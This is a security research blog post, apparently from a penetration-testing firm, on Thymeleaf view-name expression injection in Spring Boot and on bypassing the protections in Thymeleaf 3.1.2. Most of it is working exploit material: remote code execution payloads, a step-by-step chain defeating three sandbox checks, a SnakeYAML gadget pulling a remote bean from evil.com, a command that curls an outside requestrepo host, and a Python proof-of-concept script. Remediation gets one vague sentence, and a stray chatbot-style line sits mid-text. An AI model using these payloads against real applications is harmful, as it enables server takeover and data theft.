Spring View Manipulation in Spring Boot 3.1.2
In this article, we'll dive into a comprehensive explanation of Spring View Manipulation attacks, dissecting their nature and detailing how we successfully bypassed the defense mechanism in the latest version of Thymeleaf within Spring Boot integrations.
Spring View Manipulation Vulnerability
This vulnerability arises in a Spring Boot application because Spring Boot uses Thymeleaf as its default template engine. It's important to note that this vulnerability can also occur in a Spring Framework application that customizes Thymeleaf as its template engine.
In simple terms, Thymeleaf's flexible approach to view rendering can lead to Expression Language (EL) injection and can be exploited by attackers to compromise your application's security.
Let's review some basic knowledge, a Thymeleaf template will have the following structure:
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
<span th:text="'Hello, ' + ${message}"></span>
</div>
</html>
It utilizes a function called filelayouts, which enables us to allocate the specific fragment we intend to use. For example, this will render <div th:fragment="main">.
@GetMapping("/main")
public String fragment() {
return "welcome :: main";
}
However, before loading a template, Thymeleaf parses the view name as an expression.
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
We can exploit this behavior to inject expressions that can potentially lead to Remote Code Execution (RCE).
Expressions in Thymeleaf:
- ${…}: Variable expressions - in practice, these are OGNL or Spring EL expressions.
- *{…}: Selection expressions - similar to variable expressions but used for specific purposes. #{…}: Message (i18n) expressions - used for internationalization.
- @...: Link (URL) expressions - used to set correct URLs/paths in the application.
- ~{…}: Fragment expressions - they let you reuse parts of templates.
Now let's create an example vulnerable application to test:
Install Spring boot 2.2.0: pom.xml:
<parent>
<groupid>org.springframework.boot</groupid>
<artifactid>spring-boot-starter-parent</artifactid>
<!--latest-->
<version>2.2.0.RELEASE</version>
</parent>
Controller:
@GetMapping("/{path}")
public String path(@PathVariable String path) {
return "welcome::" + path;
}
Then use this basic payload to trigger RCE:
http://localhost:8090/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__
Now we can see calc pop up:
Some other RCE payloads:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x
(${T(java.lang.Runtime).getRuntime().exec('calc')})
(${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")})
Problems and Bypass
Now that we have a basic understanding of the vulnerability, the application above is using Thymeleaf version 2.2.0, which is quite outdated. As of the time of writing this article, the latest Spring Boot version is 3.1.2, which also uses the latest Thymeleaf 3.1.2. What would be the result of using this version?
I. Bypass containsExpression
Using the old payload won't trigger the calculator, and the following error will appear in the log:
This occurs because the method org.thymeleaf.spring6.view.ThymeleafView#renderFragment() calls SpringRequestUtils.checkViewNameNotInRequest() to verify the view name before proceeding with parsing the expression (line 114).
In this method, there's a call to containsExpression() to check whether the view name contains an expression or not.
The logic of the code is quite understandable. It initializes a variable expInit to mark the start of expressions. If the current character is $, *, #, @, or ~ the variable is set to true; otherwise, for all other characters, it's set to false.
In the case where expInit is true, it checks the next character. If it's {, the function returns true, indicating the presence of an expression and throwing an error.
Hence, all that's needed to bypass this code is to make this condition not satisfied.
In Thymeleaf, there's a feature called Literal substitutions that facilitates easy string formatting, often enclosed by the | character. Example:
<span th:text="|Welcome to our application, ${user.name}!|">
We can leverage it to make the containsExpression method return false. Specifically, the payload would be as follows:
__|*bla**{a}|__::.x
At this point, substitution is carried out at *{a}, and because the two * characters are adjacent, it will cause expInit to be reassigned to false ⇒ bypass.
Successful jump into StandardExpressionParser.parseExpression()
Additionally, we can also use the payload $__|{payload}|__. The principle is similar to the one mentioned above.
II. Bypass containsSpELInstantiationOrStaticOrParam()
org.thymeleaf.spring6.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam() is invoked during the expression parsing process to prevent referencing any class with T()
The method org.springframework.expression.spel.standard.Tokenizer#process() performs the parsing of the original expression string into smaller units called "tokens" and adds them to this.tokens. However, as can be observed from the picture below, for the null character, it will Simply move to the next one without any action. This leads to bypassing the T( check with T\\x00(.
However, since the payload is inserted through a URL (not the POST body), directly inserting null bytes is not possible.
The process() method of the class TemplateEngine can be utilized to evaluate expressions, and null bytes will be "encoded" and passed through the first parameter. The TemplateEngine supports the following template resolvers:
At this point, the StringTemplateResolver is used to directly process template content through the input string provided (if this value is not set, the default is still StringTemplateResolver).
Regarding the "encode" process mentioned earlier for the payload, it specifically involves using two methods: String.copyValueOf()/String.valueOf() and Character.toChars().
Character.toChars() will convert an integer value to a char array, and String.copyValueOf() returns the string representation corresponding to this char array.
For example, encoding the character $ would look like this:
For example, if we want to pass the payload ${T\\x00(java.lang.Runtime.getRuntime().exec(
"".copyValueOf("a".toCharArray()[0].toChars(36))+"{T"+"".copyValueOf("a".toCharArray()[0].toChars(0))+"(java.lang.Runtime.getRuntime().exec( <command/>))}
The idea is to call the TemplateEngine.process() method once again. In essence, it's possible to create an instance of this class using "".class.forName("org.thymeleaf.TemplateEngine").newInstance(). However, it's not as straightforward as that. When sending the payload to the server:
"".class.forName("org.thymeleaf.TemplateEngine").newInstance().process("[[<payload>]]", "".class.forName("org.thymeleaf.context.Context").newInstance()))</payload>
Then, we encounter the error "Missing class ognl.PropertyAccessor".
Error Screenshot
Continuing the trace, I found that the reason this library is being used is due to the default configuration. When creating an instance of TemplateEngine, the Dialect being used is StandardDialect.
Dialect Configuration
(You can think of the dialect's task as setting rules for the expression parsing process.) With StandardDialect(), it uses OGNL, but in default, the OGNL library is not installed. To address this issue, you can set the Dialect to new SpringStandardDialect() to parse SPEL (Spring Expression Language). However, to set an attribute, you need to create a variable. The payload will look something like this:
var a = "".class.forName("org.thymeleaf.TemplateEngine").newInstance()
a.setDialects("".class.forName("org.thymeleaf.spring6.dialect.SpringStandardDialect").newInstance())
a.process(("[["+...............+"]]"), "".class.forName("org.thymeleaf.context.Context").newInstance())
And SpEL doesn't offer a feature to set variables like this. As a solution, you can use a Bean Reference to call servletContext.setAttribute. This has a similar effect to setting a variable.
The payload at this point will be:
__|*bla**{
"a"
+ @servletContext.setAttribute("t","".class.forName("org.thymeleaf.TemplateEngine").newInstance())
+ @servletContext.getAttribute("t").setDialects("".class.forName("org.thymeleaf.spring6.dialect.SpringStandardDialect").newInstance())
+ @servletContext.getAttribute("t").process(("[["+"<payload>"+"]]"), "".class.forName("org.thymeleaf.context.Context").newInstance())
+ ""}|__</payload>
Why add an additional "a" at the beginning? This is because methods like getAttribute or setAttribute will return null, and only when you concatenate a String with null does it not result in an error.
III. Bypass isMemberAllowed
This is the final point where we need to bypass - isMemberAllowed is called to prevent invoking malicious methods. For instance, I tested with the following payload:
/$__|{"".getClass().forName("java.lang.Runtime").getRuntime().exec(thymeleafRequestContext.httpServletRequest.getParameter("a"))}|__?a=calc
Process before touch isMemberAllowed method:
The purpose of this process is to traverse through all the classes and methods called within that class. Then, the class is assigned to the target parameter, and the called method is assigned to the memberName parameter. (During this process, if any class has been traversed through the isMemberAllowed step and has been allowed, it will be cached and this method won't be called again for that class.)
Process Flow
If target == null or target == "memberName" or target == "memberName", it will return true. In other cases, if the target is not an instance of java.lang.Class, it will return isMemberAllowedForInstanceOfType(target.getClass(), memberName). Otherwise, it will return true if memberName == getName or if isTypeAllowed(targetTypeName).
With the payload I used earlier, the java.lang.Runtime check will go into isTypeAllowed:
isTypeAllowed Check
Here, it checks if !isPackageBlockedForTypeReference is true, it allows it; otherwise, it checks whether the class is in ALLOWED_JAVA_CLASS_NAMES or ALLOWED_JAVA_SUPERS_NAMES.
private static final Set<String> ALLOWED_JAVA_CLASS_NAMES;
private static final Set<Class<?>> ALLOWED_JAVA_CLASSES = new HashSet(Arrays.asList(Boolean.class, Byte.class, Character.class, Double.class, Enum.class, Float.class, Integer.class, Long.class, Math.class, Number.class, Short.class, String.class, BigDecimal.class, BigInteger.class, RoundingMode.class, ArrayList.class, LinkedList.class, HashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, Iterator.class, Enumeration.class, Locale.class, Properties.class, Date.class, Calendar.class, Optional.class));
private static final Set<String> ALLOWED_JAVA_SUPERS_NAMES;
private static final Set<Class<?>> ALLOWED_JAVA_SUPERS = new HashSet(Arrays.asList(Collection.class, Iterable.class, List.class, Map.class, Map.Entry.class, Set.class, Calendar.class, Stream.class));
isPackageBlockedForTypeReference:
First, it checks if isPackageBlockedForAllPurposes returns true, in which case the class is blocked. If not, it jumps to the else branch, allowing all packages not starting with "c," "n," "j," "o." If not, it checks if the first character is 'c'. If true, it then checks if typeName starts with the string com.squareup.javapoet.. If false, it checks if typeName starts with any prefix in the list BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES. The result is true if either of the two conditions is met, and false if both conditions are false.
private static final Set<String> BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("com.squareup.javapoet.", "net.bytebuddy.", "net.sf.cglib.", "javassist.", "javax0.geci.", "org.apache.bcel.", "org.aspectj.", "org.javassist.", "org.mockito.", "org.objectweb.asm.", "org.objenesis.", "org.springframework.aot.", "org.springframework.asm.", "org.springframework.cglib.", "org.springframework.javapoet.", "org.springframework.objenesis."));
isPackageBlocledForAllPurposes
- If the first character is not 'c', 'j', 'o', or 's', it returns false.
- If the first character is 'c', it checks if typeName starts with the string "com.sun.". If true, it returns true.
- If typeName does not start with the string "java.time.", it returns true.
- If none of the above cases are met, it uses the Stream API to check if typeName starts with any prefix in BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES. If at least one match is found, the method returns true.
private static final Set<String> BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = new HashSet(Arrays.asList("java.", "javax.", "jakarta.", "jdk.", "org.ietf.jgss.", "org.omg.", "org.w3c.dom.", "org.xml.sax.", "com.sun.", "sun."));
So, at this point, we have two ways:
- Utilize a class that has the potential to lead to RCE without being blocked.
- Explore alternative methods to invoke java.lang.Runtime.
Approach 1: Use org.yaml.snakeyaml.Yaml class:
$__|{springRequestContext.getClass().forName("org.yaml.snakeyaml.Yaml").newInstance().load(thymeleafRequestContext.httpServletRequest.getParameter("a"))}|__(xx=id)?a=!!org.springframework.context.support.FileSystemXmlApplicationContext["https://evil.com/pwn.bean"]
Vulnerability Exploitation Using org.yaml.snakeyaml.Yaml and org.springframework.context.support.FileSystemXmlApplicationContext
The vulnerability in the load() method of org.yaml.snakeyaml.Yaml can be exploited to load malicious objects. More details about this vulnerability can be found here: Unsafe Deserialization in SnakeYAML.
In the payload scenario mentioned, the load() method is utilized to load the class org.springframework.context.support.FileSystemXmlApplicationContext with the URL "https://evil.com/pwn.bean". This specific class is used as a gadget in Jackson deserialization attacks. Unlike chains that exploit setter and getter methods, FileSystemXmlApplicationContext leverages its constructor.
The term pwn.bean refers to a concept mentioned in the Spring Framework documentation: Spring Framework XSD Configuration and Spring Framework XML Configuration. This provides insights into the format of the payload.
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>calc</value>
</array>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>
At org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary() call evaluate() to parse #{ pb.start() }
After some debugging, we faintly discern the familiar shadow of expression language injection.
Proof of Concept:
Approach 2: Utilizing Spring Reflection org.springframework.util.ReflectionUtils
In this approach, we make use of org.springframework.util.ReflectionUtils, a class readily available in the Spring Framework that offers methods for performing reflection operations more conveniently.
invokeMethod()
This method takes three parameters: Method, Target Object, and Arguments. It's employed to invoke a specific method.
findMethod()
This method takes the parameters Class, method name, and types of parameters. It returns the method we're searching for.
By combining these two methods, we can call java.lang.Runtime.getRuntime().exec():
If you need further assistance or have more content to discuss, please continue.
ReflectionUtils.invokeMethod(
ReflectionUtils.findMethod("".class.forName('java.lang.Runtime'),"exec","".class.forName("java.lang.String")),
ReflectionUtils.invokeMethod(ReflectionUtils.findMethod("".class.forName('java.lang.Runtime'),"getRuntime"),null),
"curl http://tpy90ych.requestrepo.com"
)
)
And to call org.springframework.util.ReflectionUtils, we need to use T(). Combined with bypassing containsSpELInstantiationOrStaticOrParam using %00 in step 2, the payload is as follows:
${T\\x00(org.springframework.util.ReflectionUtils).invokeMethod(T\\x00(org.springframework.util.ReflectionUtils).findMethod("".class.forName('java.lang.Runtime'),"exec","".class.forName("java.lang.String")),T\\x00(org.springframework.util.ReflectionUtils).invokeMethod(T\\x00(org.springframework.util.ReflectionUtils).findMethod("".class.forName('java.lang.Runtime'),"getRuntime"),null),"calc")}
The final payload:
$__|{
"111"
+ @servletContext.setAttribute("t","".class.forName("org.thymeleaf.TemplateEngine").newInstance())
+ @servletContext.getAttribute("t").setDialects("".class.forName("org.thymeleaf.spring6.dialect.SpringStandardDialect").newInstance())
+ @servletContext.getAttribute("t").process(("[["+"".copyValueOf("a".toCharArray()[0].toChars(36))+"{T"+"".copyValueOf("a".toCharArray()[0].toChars(0))+"(org.springframework.util.ReflectionUtils).invokeMethod(T"+"".copyValueOf("a".toCharArray()[0].toChars(0))+"(org.springframework.util.ReflectionUtils).findMethod("+"".copyValueOf("a".toCharArray()[0].toChars(34))+"".copyValueOf("a".toCharArray()[0].toChars(34))+".class.forName("+"".copyValueOf("a".toCharArray()[0].toChars(39))+"java.lang.Runtime"+"".copyValueOf("a".toCharArray()[0].toChars(39))+"),"+"".copyValueOf("a".toCharArray()[0].toChars(34))+"exec"+"".copyValueOf("a".toCharArray()[0].toChars(34))+","+"".copyValueOf("a".toCharArray()[0].toChars(34))+"".copyValueOf("a".toCharArray()[0].toChars(34))+".class.forName("+"".copyValueOf("a".toCharArray()[0].toChars(34))+"java.lang.String"+"".copyValueOf("a".toCharArray()[0].toChars(34))+")),T"+"".copyValueOf("a".toCharArray()[0].toChars(0))+"(org.springframework.util.ReflectionUtils).invokeMethod(T"+"".copyValueOf("a".toCharArray()[0].toChars(0))+"(org.springframework.util.ReflectionUtils).findMethod("+"".copyValueOf("a".toCharArray()[0].toChars(34))+"".copyValueOf("a".toCharArray()[0].toChars(34))+".class.forName("+"".copyValueOf("a".toCharArray()[0].toChars(39))+"java.lang.Runtime"+"".copyValueOf("a".toCharArray()[0].toChars(39))+"),"+"".copyValueOf("a".toCharArray()[0].toChars(34))+"getRuntime"+"".copyValueOf("a".toCharArray()[0].toChars(34))+"),null),"+"".copyValueOf("a".toCharArray()[0].toChars(34))+"curl http:"+"".copyValueOf("a".toCharArray()[0].toChars(47))+"".copyValueOf("a".toCharArray()[0].toChars(47))+"tpy90ych.requestrepo.com"+"".copyValueOf("a".toCharArray()[0].toChars(34))+")}]]"), "".class.forName("org.thymeleaf.context.Context").newInstance())
+ "999"
}|__
Proof of Concept:
import requests
payload="%24__%7C%7B%0A%22111%22%0A%2B%20%40servletContext.setAttribute%28%22t%22%2C%22%22.class.forName%28%22org.thymeleaf.TemplateEngine%22%29.newInstance%28%29%29%0A%2B%20%40servletContext.getAttribute%28%22t%22%29.setDialects%28%22%22.class.forName%28%22org.thymeleaf.spring6.dialect.SpringStandardDialect%22%29.newInstance%28%29%29%0A%2B%20%40servletContext.getAttribute%28%22t%22%29.process%28%28%22%5B%5B%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2836%29%29%2B%22%7BT%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%280%29%29%2B%22%28org.springframework.util.ReflectionUtils%29.invokeMethod%28T%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%280%29%29%2B%22%28org.springframework.util.ReflectionUtils%29.findMethod%28%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22.class.forName%28%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2839%29%29%2B%22java.lang.Runtime%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2839%29%29%2B%22%29%2C%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22exec%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22%2C%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22.class.forName%28%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22java.lang.String%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22%29%29%2CT%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%280%29%29%2B%22%28org.springframework.util.ReflectionUtils%29.invokeMethod%28T%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%280%29%29%2B%22%28org.springframework.util.ReflectionUtils%29.findMethod%28%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22.class.forName%28%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2839%29%29%2B%22java.lang.Runtime%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2839%29%29%2B%22%29%2C%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22getRuntime%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22%29%2Cnull%29%2C%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22calc%22%2B%22%22.copyValueOf%28%22a%22.toCharArray%28%29%5B0%5D.toChars%2834%29%29%2B%22%29%7D%5D%5D%22%29%2C%20%22%22.class.forName%28%22org.thymeleaf.context.Context%22%29.newInstance%28%29%29%0A%2B%20%22999%22%0A%7D%7C__"
requests.get("http://localhost:8090/"+payload)
Remediation
To safeguard your Spring application, ensure strict input validation, output encoding, and stay updated with security best practices.
Noventiq is comprised of several professionals with extensive experience in penetration testing. If you're interested in strengthening your system's security, we offer tailor-made vulnerability assessment and penetration testing services that can enhance the security of your products. For more information, please contact us at pentest@noventiq.com
Khanh Nguyen